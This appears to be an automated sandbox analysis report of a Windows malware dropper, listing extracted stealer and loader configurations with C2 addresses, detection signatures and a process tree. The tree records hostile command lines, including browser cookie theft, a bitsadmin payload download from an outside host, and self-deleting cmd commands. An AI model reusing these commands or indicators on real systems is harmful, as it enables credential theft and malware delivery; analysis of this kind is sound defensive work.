Analysis
- max time kernel
141s - max time network
151s - platform
windows10_x64 - resource
win10v20210408 - submitted
01/08/2021, 17:21
General
- Target F7CDED298CDF3671D5BE20511CA4FCB1.exe
- Size 1.1MB
- Sample210801-2y76tthpb6
- SHA256 c49db28c90989f14866faa6781fc5e6531c8a63d3c3f3d245b4c4d752ce5ebf0
Malware Config
Extracted
-
redline
-
forinstalls
-
77.220.213.35:52349
Extracted
-
redline
-
5k_BLACK_HOLE
-
45.14.49.117:14251
Extracted
-
redline
-
sel24
-
salkefard.xyz:80
Extracted
-
redline
-
30_7_rz
-
zertypelil.xyz:80
Extracted
-
vidar
-
39.8
-
937
-
https://xeronxikxxx.tumblr.com/
-
profile_id
937
Extracted
-
metasploit
-
windows/single_exec
Extracted
-
smokeloader
-
2020
-
http://readinglistforjuly1.xyz/
-
http://readinglistforjuly2.xyz/
-
http://readinglistforjuly3.xyz/
-
http://readinglistforjuly4.xyz/
-
http://readinglistforjuly5.xyz/
-
http://readinglistforjuly6.xyz/
-
http://readinglistforjuly7.xyz/
-
http://readinglistforjuly8.xyz/
-
http://readinglistforjuly9.xyz/
-
http://readinglistforjuly10.xyz/
-
http://readinglistforjuly1.site/
-
http://readinglistforjuly2.site/
-
http://readinglistforjuly3.site/
-
http://readinglistforjuly4.site/
-
http://readinglistforjuly5.site/
-
http://readinglistforjuly6.site/
-
http://readinglistforjuly7.site/
-
http://readinglistforjuly8.site/
-
http://readinglistforjuly9.site/
-
http://readinglistforjuly10.site/
Extracted
-
vidar
-
39.8
-
921
-
https://xeronxikxxx.tumblr.com/
-
profile_id
921
Signatures
- Glupteba
Glupteba is a modular loader written in Golang with various components.
- Glupteba Payload 2 IoCs
- MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
- Modifies Windows Defender Real-time Protection settings 3 TTPs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine Payload 11 IoCs
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
- Socelars Payload 2 IoCs
- Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- Vidar
Vidar is an infostealer based on Arkei stealer.
- suricata: ET MALWARE GCleaner Downloader Activity M1
- suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)
- suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
- Vidar Stealer 4 IoCs
- Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
- Executes dropped EXE 49 IoCs
- UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- VMProtect packed file 2 IoCs
Detects executables packed with VMProtect commercial packer.
- Checks BIOS information in registry 2 TTPs 12 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 2 IoCs
- Loads dropped DLL 14 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Themida packer 4 IoCs
Detects Themida, an advanced Windows software protection system.
- Accesses 2FA software files, possible credential harvesting 2 TTPs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks for any installed AV software in registry 1 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 7 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
- Suspicious use of SetThreadContext 7 IoCs
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 17 IoCs
- NSIS installer 2 IoCs
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Download via BitsAdmin 1 TTPs 1 IoCs
- Enumerates system info in registry 2 TTPs 3 IoCs
- Kills process with taskkill 4 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 3 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: MapViewOfSection 45 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\F7CDED298CDF3671D5BE20511CA4FCB1.exe"C:\Users\Admin\AppData\Local\Temp\F7CDED298CDF3671D5BE20511CA4FCB1.exe"1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\VKsftMzsNwSxIbt01Y4tzUni.exe"C:\Users\Admin\Documents\VKsftMzsNwSxIbt01Y4tzUni.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\VKsftMzsNwSxIbt01Y4tzUni.exeC:\Users\Admin\Documents\VKsftMzsNwSxIbt01Y4tzUni.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\Documents\To_y8FLPmw8vzh32a0iY1iYa.exe"C:\Users\Admin\Documents\To_y8FLPmw8vzh32a0iY1iYa.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\To_y8FLPmw8vzh32a0iY1iYa.exeC:\Users\Admin\Documents\To_y8FLPmw8vzh32a0iY1iYa.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\Documents\4VmbDJeMP1jgMp_XRSgsOmYT.exe"C:\Users\Admin\Documents\4VmbDJeMP1jgMp_XRSgsOmYT.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\4VmbDJeMP1jgMp_XRSgsOmYT.exe"C:\Users\Admin\Documents\4VmbDJeMP1jgMp_XRSgsOmYT.exe"3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
-
-
C:\Users\Admin\Documents\z6vOSYEke4Zt950kXxyVdltp.exe"C:\Users\Admin\Documents\z6vOSYEke4Zt950kXxyVdltp.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Documents\C5BJzXl2ydAyu2RiYvwrmJSl.exe"C:\Users\Admin\Documents\C5BJzXl2ydAyu2RiYvwrmJSl.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4192 -s 6603⤵
- Drops file in Windows directory
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4192 -s 6763⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4192 -s 6363⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4192 -s 6603⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4192 -s 9083⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4192 -s 10843⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
-
-
C:\Users\Admin\Documents\Kq9mKsTS1wggg8c1iRV0bSJv.exe"C:\Users\Admin\Documents\Kq9mKsTS1wggg8c1iRV0bSJv.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\Documents\KWMdWDVtcHMfaJiiaBdE_cb7.exe"C:\Users\Admin\Documents\KWMdWDVtcHMfaJiiaBdE_cb7.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\customer3.exe"C:\Program Files (x86)\Company\NewProduct\customer3.exe"3⤵
- Executes dropped EXE
- Drops startup file
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"4⤵
- Executes dropped EXE
-
-
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
-
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\Documents\6SMvxzlHZHnGphmRBhE9dgEi.exe"C:\Users\Admin\Documents\6SMvxzlHZHnGphmRBhE9dgEi.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4148 -s 6603⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4148 -s 6763⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4148 -s 6363⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4148 -s 6403⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4148 -s 7883⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\Documents\gzYb_1r08jX2OUfWtImJ5Hsb.exe"C:\Users\Admin\Documents\gzYb_1r08jX2OUfWtImJ5Hsb.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Documents\ksAlgxxtiipKJhfJhkoD4DCn.exe"C:\Users\Admin\Documents\ksAlgxxtiipKJhfJhkoD4DCn.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Documents\r15CZxkO2jMGiJAZHKmCfSTh.exe"C:\Users\Admin\Documents\r15CZxkO2jMGiJAZHKmCfSTh.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4100 -s 6683⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4100 -s 6843⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4100 -s 6403⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4100 -s 6923⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4100 -s 7683⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\Documents\Q5GyV4HGfWLvHBfB7DCS21Fr.exe"C:\Users\Admin\Documents\Q5GyV4HGfWLvHBfB7DCS21Fr.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Documents\Q1yQg6amfsZgcmil649imzmh.exe"C:\Users\Admin\Documents\Q1yQg6amfsZgcmil649imzmh.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\Q1yQg6amfsZgcmil649imzmh.exeC:\Users\Admin\Documents\Q1yQg6amfsZgcmil649imzmh.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\Documents\dK4zt8joFgDpmhEWZ21WU35F.exe"C:\Users\Admin\Documents\dK4zt8joFgDpmhEWZ21WU35F.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\dK4zt8joFgDpmhEWZ21WU35F.exe"C:\Users\Admin\Documents\dK4zt8joFgDpmhEWZ21WU35F.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"4⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"5⤵
- Checks processor information in registry
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"4⤵
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x204,0x208,0x20c,0x194,0x210,0x7ff886804f50,0x7ff886804f60,0x7ff886804f705⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1656,1801088580338438520,3092652629254045880,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1668 /prefetch:25⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,1801088580338438520,3092652629254045880,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1716 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1656,1801088580338438520,3092652629254045880,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2216 /prefetch:85⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,1801088580338438520,3092652629254045880,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2620 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,1801088580338438520,3092652629254045880,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2628 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,1801088580338438520,3092652629254045880,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,1801088580338438520,3092652629254045880,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3624 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,1801088580338438520,3092652629254045880,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3788 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,1801088580338438520,3092652629254045880,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3996 /prefetch:15⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 3980 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\dK4zt8joFgDpmhEWZ21WU35F.exe"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 39805⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 3980 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\dK4zt8joFgDpmhEWZ21WU35F.exe"4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 39805⤵
- Kills process with taskkill
-
-
-
-
-
C:\Users\Admin\Documents\FpJ0kOi90jJnlVKZ7S6yGqlG.exe"C:\Users\Admin\Documents\FpJ0kOi90jJnlVKZ7S6yGqlG.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Documents\xe9C8o4pr_3Bm6004Vv3jrjj.exe"C:\Users\Admin\Documents\xe9C8o4pr_3Bm6004Vv3jrjj.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\xe9C8o4pr_3Bm6004Vv3jrjj.exe"C:\Users\Admin\Documents\xe9C8o4pr_3Bm6004Vv3jrjj.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Users\Admin\Documents\thJzwIYldxoPlpOwnozU4Rk9.exe"C:\Users\Admin\Documents\thJzwIYldxoPlpOwnozU4Rk9.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\thJzwIYldxoPlpOwnozU4Rk9.exeC:\Users\Admin\Documents\thJzwIYldxoPlpOwnozU4Rk9.exe3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4736 -s 15164⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\thJzwIYldxoPlpOwnozU4Rk9.exeC:\Users\Admin\Documents\thJzwIYldxoPlpOwnozU4Rk9.exe3⤵
-
-
C:\Users\Admin\Documents\thJzwIYldxoPlpOwnozU4Rk9.exeC:\Users\Admin\Documents\thJzwIYldxoPlpOwnozU4Rk9.exe3⤵
-
-
-
C:\Users\Admin\Documents\Xo_Hjo3iv3007blT3gBB8hLM.exe"C:\Users\Admin\Documents\Xo_Hjo3iv3007blT3gBB8hLM.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Documents\9N7EowusJadJoUmPItOgJcSh.exe"C:\Users\Admin\Documents\9N7EowusJadJoUmPItOgJcSh.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\9N7EowusJadJoUmPItOgJcSh.exeC:\Users\Admin\Documents\9N7EowusJadJoUmPItOgJcSh.exe3⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Documents\9rf2PzZcfepzFTyh8UUcsx6G.exe"C:\Users\Admin\Documents\9rf2PzZcfepzFTyh8UUcsx6G.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 9rf2PzZcfepzFTyh8UUcsx6G.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\9rf2PzZcfepzFTyh8UUcsx6G.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 9rf2PzZcfepzFTyh8UUcsx6G.exe /f4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Documents\Llh23MsQeFjtPcjwel9oH0YF.exe"C:\Users\Admin\Documents\Llh23MsQeFjtPcjwel9oH0YF.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspACE1.tmp\tempfile.ps1"3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspACE1.tmp\tempfile.ps1"3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspACE1.tmp\tempfile.ps1"3⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspACE1.tmp\tempfile.ps1"3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspACE1.tmp\tempfile.ps1"3⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspACE1.tmp\tempfile.ps1"3⤵
- Checks for any installed AV software in registry
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fsstoragecloudservice.com/data/data.7z C:\zip.7z3⤵
- Download via BitsAdmin
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nspACE1.tmp\tempfile.ps1"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\6514.exeC:\Users\Admin\AppData\Local\Temp\6514.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
C:\Users\Admin\AppData\Local\Temp\71C7.exeC:\Users\Admin\AppData\Local\Temp\71C7.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\7D51.exeC:\Users\Admin\AppData\Local\Temp\7D51.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\8E78.exeC:\Users\Admin\AppData\Local\Temp\8E78.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵
-
-
C:\Users\Admin\AppData\Local\Temp\9A31.exeC:\Users\Admin\AppData\Local\Temp\9A31.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
